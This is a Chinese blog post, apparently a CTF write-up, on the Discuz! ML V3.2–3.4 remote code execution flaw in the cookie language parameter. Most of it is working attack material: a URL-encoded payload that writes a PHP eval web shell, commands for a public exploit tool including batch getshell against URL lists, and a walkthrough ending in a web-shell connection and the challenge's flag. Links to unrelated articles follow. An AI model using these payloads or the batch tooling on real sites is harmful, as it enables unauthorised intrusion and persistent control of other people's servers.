Discuz ML RCE漏洞
1、漏洞描述
Discuz国际版漏洞存在于cookie的language可控并且没有严格过滤,导致可以远程代码执行。
2、产生原因:Discuz!ML 系统对cookie中的l接收的language参数内容未过滤,导致字符串拼接,从而执行php代码。
3、影响版本:
Discuz! ML V3.2
Discuz! ML V3.3
Discuz! ML V3.4
4、利用exp,进行上传一句话木马
1.cookie字段中会出现xxxx_xxxx_language字段,根本原因就是这个字段存在注入,导致的RCE
2.抓包找到cookie的language的值修改为xxxx_xxxx_language=sc'.phpinfo().'
3.getshell 的payload: ’.file_put_contents(‘shell.php’,urldecode(’<?php eval($_POST["cmd"]);?>’)).',url编码后的形式是
%27.file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp%2520eval%28%2524_%2550%254F%2553%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27
所以我们可以考虑使用bur抓包改包,上传一句话木马,get shell
5、利用dz-ml-rce.py工具进行分析。本工具支持单url和批量检测,有判断模式(只判断有无该漏洞)、cmdshell模式(返回简单的cmd shell)和getshell模式(写入一句话木马)。
6、如何下载dz-ml-rce.py工具
在python2.7的环境中安装,安装命令如下:
git clone https://github.com/theLSA/discuz-ml-rce.git
pip -r requirements.txt
7、如何使用dz-ml-rce.py工具
使用时加上漏洞PHP页面(如forum.php,portal.php),直接写域名可能会重定向导致误报。
使用帮助:python dz-ml-rce.py -h
判断模式:python dz-ml-rce.py -u "http://www.xxx.cn/forum.php"
cmdshell模式:python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --cmdshell
getshell模式:python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --getshell
批量检测:python dz-ml-rce.py -f urls.txt
批量getshell:python dz-ml-rce.py -f urls.txt --getshell
8、实战分析:
当我们进入这个网址后,可以发现它的cms类型是Discuz! X3.2,这是一个比较老的版本,我们可以去乌云,0组查看相关思路文章,发现比较少
于是我们去百度中搜索这个Discuz! X3.2的漏洞可以get shell,所以这道题目考察的一定是cms的漏洞
而我们去网上查的话,有很多的漏洞,比如构建的请求报文,请求报文中含有恶意的PHP代码,任意删除文件,代码注入漏洞等多种漏洞
本网站我所利用的是构建的请求报文,请求报文中含有恶意的PHP代码这一漏洞,也就是Discuz ML RCE漏洞,后面又一篇文章专门写此漏洞
所以我们可以知道它存在cms漏洞:Discuz! X3.2 漏洞 中的 构建的请求报文(恶意的PHP代码,一句话木马)漏洞
所以这个题我们可以考虑使用bur抓包改包,上传一句话木马,get shell
我们对bur进行抓包:
抓包后我们可以发现在cookie字段中有xxxx_xxxx_language字段,所以我们对其进行改包
先看phpinfo文件,看是否存在相关漏洞(验证)
发现存在相关漏洞,所以我们直接上传一句话木马,构造的形式如下:
%27.file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp%2520eval%28%2524_%2550%254F%2553%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27
我们直接在网页上查看shell.php文件,看是否可以正常显示
我们使用蚁剑进行连接
连接成功:
最终我们就可以发现flag的文件,也就是此题的答案
flag就在其中,打开之后就是答案,也就是flag,flag{49c883689da71363809d64b8b48679ba}
此题完成
Discuz ML RCE漏洞的更多相关文章
- Discuz! ML RCE漏洞 getshell 复现
0x01 影响版本 Discuz! ML V3.2 Discuz! ML V3.3 Discuz! ML V3.4 0x02 环境搭建 直接官网下载即可http://discuz.ml/downloa ...
- Discuz ML! V3.X 代码注入漏洞
Discuz ML! V3.X 代码注入漏洞 前言 Discuz!ML是一个由CodersClub.org创建的多语言,集成,功能齐全的开源网络平台,用于构建像"社交网络"这样的互 ...
- Discuz! ML远程代码执行(CVE-2019-13956)
Discuz! ML远程代码执行(CVE-2019-13956) 一.漏洞描述 该漏洞存在discuz ml(多国语言版)中,cookie中的language可控并且没有严格过滤,导致可以远程代码执行 ...
- ThinkPHP-5.0.23新的RCE漏洞测试和POC
TP5新RCE漏洞 昨天又是周五,讨厌周五曝漏洞,还得又得加班,算了,还是先验证一波.新的TP5RCE,据说发现者因为上次的RCE,于是又审计了代码,结果发现的.TP5也成了万人轮啊. 测试 环境搭建 ...
- GitStack系统RCE漏洞学习
漏洞简介 漏洞简情 漏洞程序 GitStack 影响版本 <=2.3.10 漏洞类型 RCE 漏洞评价 高危 漏洞编号 CVE-2018-5955 漏洞程序介绍 GitStack是一款基于Pyt ...
- Zimbra无需登录RCE漏洞利用
2019年3月13号,一名国外的安全研究员在他的博客上公布了zimbra RCE漏洞相关信息,但其中并未提到一些漏洞利用细节. 经过一段时间努力,根据网上各位大牛的分析和我自己的理解,在此我将整个漏洞 ...
- WordPress插件Social Warfare<=3.5.2 无需登录RCE漏洞
该漏洞只存在于Social Warfare插进的3.5.0.3.5.1和3.5.2版本中,其他版本不存在. 2019年3月21日插件作者紧急发布了3.5.3版本以修复高危的RCE漏洞,在<=3. ...
- Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现
Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现 一.漏洞描述 Joomla是一套内容管理系统,是使用PHP语言加上MYSQL数据库所开发的软件系统,最新版本为3.9.12,官网: ...
- Apache Solr Velocity模板注入RCE漏洞复现
Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...
随机推荐
- scrapy入门到放弃02:整一张架构图,开发一个程序
前言 Scrapy开门篇写了一些纯理论知识,这第二篇就要直奔主题了.先来讲讲Scrapy的架构,并从零开始开发一个Scrapy爬虫程序. 本篇文章主要阐述Scrapy架构,理清开发流程,掌握基本操作. ...
- .net获取项目根目录方法集合
这篇文章是别的博客复下来,收藏的: 编写程序的时候,经常需要用的项目根目录.自己总结如下 1.取得控制台应用程序的根目录方法 方法1.Environment.CurrentDirectory ...
- POJ 3026 Borg Maze 广搜(BFS)+最小生成树
题意:从S出发,去抓每一个A,求总路径最短长度.在S点和A点人可以分身成2人,不过一次只能让一个人走. 思路是先利用BFS求出各点之间的距离,建成图,再套用最小生成树模板. 一次性A了.不过觉得在判断 ...
- mysql过滤表中重复数据,查询相同数据的特定一条
待操作的表如下: p.p1 { margin: 0; font: 16px Menlo; color: rgba(0, 0, 0, 1) } span.s1 { font-variant-ligatu ...
- WPF教程十二:了解自定义控件的基础和自定义无外观控件
这一篇本来想先写风格主题,主题切换.自定义配套的样式.但是最近加班.搬家.新租的房子打扫卫生,我家宝宝6月中旬要出生协调各种的事情,导致了最近精神状态不是很好,又没有看到我比较喜欢的主题风格去模仿的, ...
- .Net5 IdentityServer4下SqlServer和Mysql数据迁移
1.概念 以下概念从官网整理的,我也是看官网一步一步学习的 官网地址 https://identityserver4.readthedocs.io/en/latest/index.html 1.1 I ...
- CF1444D Rectangular Polyline[题解]
Rectangular Polyline 题目大意 给定 \(h\) 条长度分别为 \(l_1,l_2,--,l_h\) 的水平线段以及 \(v\) 条长度分别为 \(p_1,p_2,--.p_v\) ...
- PYTHON 错误提示:ModuleNotFoundError: No module named 'cv2'
ModuleNotFoundError: No module named 'cv2' 解决方法: pip install -i https://pypi.tuna.tsinghua.edu.cn/si ...
- MQTT 1——物联网集成项目技术选型与说明
最近做的JAVA项目与物联网设备有集成,记录一下从技术选型到实现,整合: 1.通信协议技术选型,MQTT技术介绍2.MQTT服务端安装,客户端测试3.MQTT客户端与Spring MVC整合 1.项目 ...
- 团队开发day07
开始整合项目,测试登录,注册,搜索功能, 在安卓中数据处理存在个别错误,功能逻辑有个别不正确 进行修改和完善,添加二次确认退出